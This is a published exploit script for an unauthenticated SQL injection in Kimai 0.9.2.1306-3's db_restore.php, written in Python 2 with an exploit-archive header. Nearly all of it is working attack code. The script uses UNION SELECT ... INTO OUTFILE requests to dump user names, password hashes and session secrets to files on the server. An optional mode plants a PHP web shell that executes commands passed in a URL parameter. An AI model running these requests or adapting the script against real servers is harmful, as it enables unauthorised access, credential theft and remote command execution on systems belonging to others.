Kimai 0.9.2.1306-3 – SQL Injection
# Exploit Title: Kimai 0.9.2.1306-3 SQLi # Date: 05/20/2013 # Exploit Author: drone (@dronesec) # Vendor Homepage: http://www.kimai.org/ # Software Link: https://downloads.sourceforge.net/project/kimai/0.9.x/kimai.0.9.2.1306-3.zip # Version: 0.9.2.1306-3 # Fixed in: source repositories (https://github.com/kimai/kimai) # Tested on: Windows XP SP3, Ubuntu 12.04 (apparmor disabled) """ This doesn't even require authentication to the web app, as the file is accessible to any user. Modify paths accordingly if running against Windows @dronesec """ from argparse import ArgumentParser import string import random import urllib2 import sys import re def webshell(options, id): """ dat webshell """ shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5)) sqli = ('http://{0}/kimai/db_restore.php?dates%5B%5D={1}_kimai_var%20UNION' '%20SELECT%20\'<?php%20system($_GET["rr"]);?>\'%20FROM%20kimai_usr' '%20INTO%20OUTFILE%20\'{2}/{3}.php\';--%20&submit=recover') urllib2.urlopen(sqli.format(options.ip, id, options.path, shell)) print '[!] Shell dropped. Go hit http://%s/kimai/%s.php?rr=ls'%(options.ip, shell) def fetch_id(options): id = None try: page = urllib2.urlopen('http://%s/kimai/db_restore.php'%options.ip).read() id = re.findall('name="dates\[\]" value=\"(.*?)\">', page)[0] except: pass return id def run(options): # poll URL for valid backup id id = None while id is None: id = fetch_id(options) if id is None: print '[-] No backups found, creating one...' urllib2.urlopen('http://%s/kimai/db_restore.php?submit=create+backup'%options.ip) print '[!] Using backup id', id if options.shell: return webshell(options, id) print '[!] Running queries...' # execute sqli sqli = ('http://{0}/kimai/db_restore.php?dates%5B%5D={1}_kimai_var%20UNION' '%20SELECT%20{3}%20FROM%20kimai_usr%20INTO%20OUTFILE%20\'{2}/{3}\';--%20&submit=recover') urllib2.urlopen(sqli.format(options.ip, id, options.path, 'usr_name')) # execute sqli; hashes urllib2.urlopen(sqli.format(options.ip, id, options.path, 'pw')) # get sessions urllib2.urlopen(sqli.format(options.ip, id, options.path, 'secure')) print '[!] Go grab your files:\n\t{0}/usr_names\n\t{0}/pw\n\t{0}/secure'\ .format(options.path) def parse(): parser = ArgumentParser() parser.add_argument('-i', help='server address', action='store', dest='ip') parser.add_argument('-p', help='path to dump files (otherwise guesses /var/www/kimai)', action='store',default='/var/www/kimai', dest='path') parser.add_argument('-w', help='web shell', action='store_true', dest='shell') options = parser.parse_args() if not options.ip: parser.print_help() sys.exit(1) options.path = options.path if options.path[-1] != '/' else options.path[:-1] return options if __name__ == "__main__": run(parse()) |